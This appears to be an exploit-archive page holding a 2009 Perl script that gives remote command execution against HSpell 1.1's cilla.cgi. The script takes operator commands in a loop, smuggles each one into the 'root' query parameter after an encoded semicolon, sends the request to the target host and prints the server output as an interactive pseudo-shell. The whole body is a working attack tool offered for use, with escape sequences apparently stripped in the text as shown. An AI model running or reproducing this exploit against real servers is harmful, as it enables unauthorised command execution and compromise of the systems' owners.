[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HSPell 1.1 (cilla.cgi) Remote Command Execution Exploit
# Published : 2009-01-13
# Author : ZeN
# Previous Title : DMXReady News Manager <= 1.1 Arbitrary Category Change Vuln
# Next Title : DMXReady Account List Manager <= 1.1 Contents Change Vulnerability
#!/usr/bin/perl
use IO::Socket;
print q{
HSpell v1.1 Command Execution Exploit
Theres a 1000 ways to improve this exploit,
but I really couldn't be fucked with it.
Made By ZeN
http://dusecurity.com/
http://darkcode.me/
};
$host = 'site.com';
$port = '80';
$path = '/cgi-bin/cilla.cgi';
ShellMe:
print "nh4x0r~> ";
$cmd = <stdin>;
chop ($cmd);
$cmd =~ s/ /+/g;
$header = "GET ".$path."?root=pwnt%3B+".$cmd."&binyan=%F7%EC HTTP/1.1rn";
$header = $header."Host: ".$host."rn";
$header = $header."User-Agent: DUSecurity Grouprn";
$header = $header."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5rn";
$header = $header."Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3rn";
$header = $header."Accept-Encoding: gzip,deflatern";
$header = $header."Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn";
$header = $header."Connection: closern";
$header = $header."Cache-Control: max-age=0rn";
$header = $header."rn";
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || print "[*] Error!n";
print $get1 $header;
$get1->recv($buffer,50000);
$shell = substr($buffer, 1347);
print $shell;
goto ShellMe;
# www.Syue.com [2009-01-13]